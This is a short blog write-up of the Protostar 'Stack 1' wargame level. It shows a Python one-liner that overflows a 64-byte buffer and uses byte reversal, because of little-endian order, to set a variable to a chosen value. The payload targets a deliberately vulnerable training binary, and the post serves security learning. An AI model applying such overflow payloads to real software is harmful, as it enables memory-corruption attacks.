Saturday, December 13, 2014

Protostar - Stack #1

About:

This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory. (link)


Source Code:


















Solution:

This one looks basically the same as before, except now we need to get modified set to a specific value.

Initially, I tried $ ./stack1 $(python -c "print 'x'*64 + '\x61\x62\x63\x64'"), but it complained: Try again, you got 0x64636261.

Now that we're sure Protostar stores integers in little-endian form (endianness), we can change our command around to this:

$ ./stack1 $(python -c "print 'x'*64 + '\x64\x63\x62\x61'")

 Running this works, and we get following output:

you have correctly got the variable to the right value






No comments:

Post a Comment